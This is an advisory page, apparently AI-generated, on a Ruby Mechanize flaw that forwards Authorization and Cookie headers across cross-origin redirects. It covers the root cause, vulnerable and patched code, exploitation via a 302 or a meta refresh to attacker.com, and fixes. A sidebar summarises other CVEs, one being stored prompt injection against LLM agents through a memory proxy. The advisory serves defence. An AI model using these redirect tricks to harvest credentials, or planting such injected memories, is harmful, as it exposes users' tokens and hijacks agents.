CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-107715

CVE-2026-107715: Information Disclosure and Credential Leakage in Ruby Mechanize via Cross-Origin Redirections

Alon Barad
Alon Barad
Software Engineer

Oct 9, 2026·7 min read·66 visits

Executive Summary (TL;DR)

Mechanize prior to 2.14.1 fails to prevent caller-supplied global credentials from being transmitted to untrusted hosts during cross-origin HTTP redirections, exposing sensitive credentials to third parties.

Ruby Mechanize prior to version 2.14.1 contains an information disclosure vulnerability. When executing cross-origin HTTP redirects, global headers configured on the Mechanize agent (such as Authorization or Session Cookies) are dynamically re-applied to the subsequent request, bypassing the internal header-stripping logic. An attacker who controls a redirection endpoint can capture sensitive bearer tokens or cookies.

Vulnerability Overview

The Ruby Mechanize library, prior to version 2.14.1, contains an information disclosure vulnerability where caller-supplied credential headers are forwarded to external hosts following HTTP redirections. Mechanize is an automation and web-scraping framework designed to simulate browser behavior, handle session cookies, and manage state across multiple HTTP transactions. Because scraping agents often follow redirections automatically, the boundary between trusted origins and untrusted destinations must be strictly maintained.

The flaw exists within the redirection logic managed by the Mechanize::HTTP::Agent class. When a client application configures global headers or per-request credentials, these secrets are retained and re-applied to requests initiated during redirect chains. If a redirection points to a third-party domain, the agent fails to isolate these headers, transmitting sensitive data such as Authorization, Proxy-Authorization, Cookie, and Cookie2 headers to unverified external endpoints.

This behavior violates the basic principles of the Same-Origin Policy (SOP). It allows any intermediary or target server in a redirection chain to capture authorization tokens and session keys intended exclusively for the original server. The issue represents a critical flaw in applications that scrape user-submitted URLs or traverse untrusted web endpoints while maintaining authenticated sessions.

Root Cause Analysis

The technical root cause of this vulnerability lies in the structural separation of concerns between per-request state and persistent agent-level state in lib/mechanize/http/agent.rb. When a developer configures default headers using the Mechanize#request_headers= setter, these headers are saved to the instance variable @request_headers. During an initial request, these values are merged into the request payload.

Upon encountering an HTTP redirect (such as a 301, 302, or 307 status code), the library executes Mechanize::HTTP::Agent#response_redirect. This method contains sanitization logic that strips sensitive headers like Authorization and Cookie when the target URI differs from the current URI. However, this sanitization only mutates the temporary, per-request header dictionary passed as an argument. It does not alter the persistent @request_headers configuration on the agent instance.

When the agent attempts to fetch the target of the redirection, it initiates a new HTTP request and invokes #request_add_headers. This method iterates over the unmodified @request_headers hash and unconditionally re-applies all configurations back into the outgoing request. As a result, headers that were stripped during the redirect phase are silently re-inserted prior to transmission over the network.

Additionally, the blacklist used to identify sensitive headers in older versions was incomplete. It did not include standard headers like Proxy-Authorization or Cookie2. Furthermore, the library evaluated host matches solely by comparing hostname strings (new_uri.host == page.uri.host). This comparison ignored variations in port numbers and protocol schemes, allowing credential leaks to occur when downgrading from HTTPS to plaintext HTTP on the same host.

Code Analysis

The following block demonstrates the vulnerable state restoration inside lib/mechanize/http/agent.rb before the security patch was applied. Note how @request_headers are read and written directly to the request object, rendering the stripping logic in #response_redirect ineffective.

# VULNERABLE: lib/mechanize/http/agent.rb
# In older versions, every fetch operation re-applied `@request_headers` from scratch.
 
def request_add_headers(request, headers = {})
  # Global headers are unconditionally added to every single request,
  # including intermediate redirect hops where they should have been stripped.
  @request_headers.each do |k, v|
    request[k] = v
  end
 
  headers.each do |k, v|
    request[k] = v
  end
end

The patch implemented in version 2.14.1 introduces a mechanism to control when global headers are merged. Instead of dynamically re-applying global state on every request execution, the library now merges @request_headers exactly once when a top-level request is initiated by the user. Subsequent hops in a redirect chain set apply_request_headers to false.

The following code block highlights the remediation implemented in the patched version. The origin comparison was also updated to conform with RFC 6454 rules, checking the protocol scheme, hostname, and port number to detect cross-origin boundaries accurately.

# PATCHED: lib/mechanize/http/agent.rb
# Global headers are merged only once at the beginning of the transaction.
 
def fetch(uri, method = :get, headers = {}, params = [], referer = nil,
          redirect_ok = @redirect_ok, apply_request_headers = true)
  
  # Merge global request headers only if this is the initial request
  headers = merge_request_headers(headers) if apply_request_headers
 
  # ... request processing and redirect logic
end
 
# The comparison is expanded to ensure scheme, host, and port are validated.
def crosses_origin?(from_uri, to_uri)
  to_uri.scheme != from_uri.scheme ||
    to_uri.host != from_uri.host ||
    to_uri.port != from_uri.port
end

By ensuring that apply_request_headers is disabled for redirection loops and authentication retries, the updated library prevents the restoration of stripped credentials. The blacklisted headers list was also expanded to include Proxy-Authorization and Cookie2 in the constant lists.

Exploitation Methodology

Exploitation of this vulnerability requires that an attacker induce a Mechanize-based client to send an authenticated request to a domain under the attacker's control, or to a trusted site containing an open redirect vulnerability. In a typical scenario, a target application uses Mechanize to fetch and parse external content, passing a user-supplied URL as a parameter while carrying administrative or session tokens in the global headers.

If the attacker hosts a page that issues an HTTP 302 redirect pointing to their own server, Mechanize follows the redirect. Because of the bug in #request_add_headers, the original Authorization and Cookie headers are re-injected and sent directly to the attacker-controlled server. The attacker can log these headers to capture the authentication bearer tokens or session cookies.

This behavior also occurs through HTML <meta> refresh tags found in scraped pages. If Mechanize parses a page containing <meta http-equiv="refresh" content="0;url=http://attacker.com">, it triggers an internal redirect mechanism via #response_follow_meta_refresh. In vulnerable versions, this flow does not isolate the origin, causing the agent to include global authentication headers when querying the attacker's web page.

Impact Assessment

The security impact of this vulnerability is classified as Medium with a CVSS v3.1 base score of 6.8. The primary risk is the loss of confidentiality of highly sensitive session and authentication secrets. Because Mechanize is frequently used to scrape websites, access APIs, or perform automated testing, these leaked credentials often represent critical user accounts or API keys.

The CVSS vector breakdown (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N) highlights specific environmental factors. The attack vector is Network (AV:N), indicating that exploitation can occur over the internet. Attack Complexity is High (AC:H) because the attacker must find or control a redirection target that the Mechanize instance can be persuaded to fetch.

The Scope is Changed (S:C) because credentials belonging to one origin are transmitted to a different security domain. The impact is limited to Confidentiality (C:H) as the flaw allows reading the headers but does not directly modify data on the client or compromise system availability. However, the stolen credentials can subsequently be used to gain unauthorized access to target systems, escalating the total impact.

Remediation and Mitigation

The most complete remediation is upgrading the Mechanize gem to version 2.14.1 or later. This release restructures the header lifecycles to ensure that global credentials are not persistently re-applied to redirect requests. Developers can update their dependency files to enforce this minimum version.

# Update Mechanize within the project environment
bundle update mechanize

If immediate upgrading is not possible, developers should avoid using the global Mechanize#request_headers= setter to assign sensitive information like API tokens and authorization headers. Instead, credentials should be supplied dynamically as argument overrides for specific, targeted #get or #post requests. This pattern prevents the agent from storing the secrets in its long-lived state.

Alternatively, automatic redirection can be disabled by setting agent.redirect_ok = false. Under this configuration, the application must catch redirection responses manually, inspect the target location, and explicitly verify that the destination belongs to a trusted domain before executing a separate, sanitized request.

Official Patches

Mechanize ProjectStrip credentials on redirect properly
Mechanize ProjectMechanize Release Tag v2.14.1

Fix Analysis (4)

Technical Appendix

CVSS Score
6.8/ 10
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N

Affected Systems

Ruby Mechanize library prior to 2.14.1

Affected Versions Detail

Product
Affected Versions
Fixed Version
mechanize
Mechanize Project
< 2.14.12.14.1
AttributeDetail
CWE IDCWE-200
Attack VectorNetwork (High Complexity)
CVSS v3.16.8 (Medium)
Exploit StatusProof of Concept (PoC) available
CISA KEV StatusNot Listed
Remediation StatusPatched in v2.14.1

MITRE ATT&CK Mapping

T1552Unsecured Credentials
Credential Access
T1005Data from Local System
Collection
CWE-200
Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor who is not authorized to have access to that information.

Vulnerability Timeline

Authorization and Cookie stripping improvements committed by maintainer
2026-08-21
Security fix ensuring agent global request headers do not bypass redirect limits committed
2026-08-21
Regression patch applied for meta-refresh POST headers
2026-08-22
Mechanize version v2.14.1 officially released
2026-08-22
GitHub Security Advisory GHSA-2mwr-xjcg-37j7 and CVE-2026-107715 published
2026-10-08

References & Sources

  • [1]GHSA-2mwr-xjcg-37j7: Mechanize Credential Leakage on HTTP Redirect
  • [2]Mechanize PR 676: Strip credentials on redirect properly
  • [3]Mechanize Release Tag v2.14.1

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•2 days ago•CVE-2026-58254
6.5

CVE-2026-58254: Authorization Bypass in NATS Server Message Tracing for Leaf Node Connections

NATS Server prior to versions 2.12.8 and 2.14.3 contains an incorrect authorization vulnerability (CWE-863) in its message tracing subsystem. When evaluating whether a connection is permitted to publish trace events to a destination subject specified in the Nats-Trace-Dest header, the server only checks standard client permissions and omits permission checks for leaf node connections. This allows a connected leaf node operator with restricted publishing privileges to emit internal trace events to unauthorized subjects and suppress standard message delivery using the Nats-Trace-Only header.

Alon Barad
Alon Barad
10 views•10 min read
•2 days ago•CVE-2026-63341
7.5

CVE-2026-63341: Unauthenticated Denial of Service via Unbounded Topic Depth in Aedes MQTT Broker

CVE-2026-63341 is a high-severity Denial of Service (DoS) vulnerability in the Aedes MQTT broker for Node.js affecting all versions prior to 1.1.1. The flaw stems from missing input validation on the hierarchical depth of incoming MQTT topic strings before they are passed to the underlying topic-matching engine, qlobber. Because qlobber enforces a hardcoded limit of 100 topic levels and throws a synchronous exception when this threshold is exceeded, an attacker can send a single MQTT packet containing 101 or more forward-slash-separated levels to trigger an uncaught exception that immediately terminates the Node.js broker process.

Alon Barad
Alon Barad
14 views•12 min read
•2 days ago•CVE-2026-61725
6.1

CVE-2026-61725: Path Traversal and Arbitrary File Overwrite in sevenz-rust2

CVE-2026-61725 is a path traversal vulnerability (CWE-22) in the sevenz-rust2 Cargo package prior to version 0.21.1. The vulnerability occurs because the decompression utility fails to validate or sanitize archive entry filenames before joining them with the destination directory path via std::path::Path::join. An attacker who supplies a crafted 7z archive containing parent directory traversal sequences or absolute paths can write or overwrite arbitrary files on the host filesystem with the privileges of the extracting process.

Alon Barad
Alon Barad
6 views•12 min read
•2 days ago•CVE-2026-77309
8.8

CVE-2026-77309: Unauthenticated Remote Code Execution in NASA-AMMOS AIT-GUI via Incomplete File Cleanup and Path Traversal

CVE-2026-77309 (GHSA-jrjx-9jjw-747m) is a high-severity unauthenticated remote code execution vulnerability affecting NASA-AMMOS AIT-GUI versions 1.0.0 through 2.5.0. The flaw results from chaining an incomplete file cleanup error in the telemetry query endpoint (/tlm/query) with a directory traversal flaw in the script execution endpoint (/script/run). An attacker on an adjacent network can stage arbitrary Python statements into a static file on disk and execute that file under the privileges of the AIT-GUI web server process.

Amit Schendel
Amit Schendel
15 views•10 min read
•2 days ago•CVE-2026-77332
2.3

CVE-2026-77332: Surfaced-Memory Envelope Injection and Stored Prompt Injection in memtomem-stm

A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) exists in memtomem-stm versions 0.1.0 through 0.1.33. The software acts as a Model Context Protocol (MCP) short-term memory proxy gateway for AI agent architectures. When surfacing retrieved memories and scratchpad items into downstream Large Language Model (LLM) context envelopes, the SurfacingFormatter component fails to properly sanitize untrusted memory attributes. An attacker with the ability to plant untrusted content into the agent's long-term or working memory store can inject arbitrary structural delimiters, close the <surfaced-memories> XML boundary prematurely, visually obscure instructions using Unicode bidirectional overrides, and execute stored prompt injection attacks against downstream LLM agents.

Alon Barad
Alon Barad
17 views•10 min read
•2 days ago•CVE-2026-77331
2.0

CVE-2026-77331: Race Condition and Session State Corruption in memtomem-stm

CVE-2026-77331 (GHSA-72jh-722p-rqr3) is a concurrency and session-state synchronization vulnerability in memtomem-stm, a short-term memory proxy gateway for AI agents. In versions 0.1.2 prior to 0.1.34, concurrent Model Context Protocol (MCP) Remote Procedure Call (RPC) failures or mid-flight task cancellations can initiate duplicate reconnect loops and permit dirty or cancelled transport sessions to be reused. This deficiency results in session-state integrity loss and local service degradation.

Amit Schendel
Amit Schendel
8 views•9 min read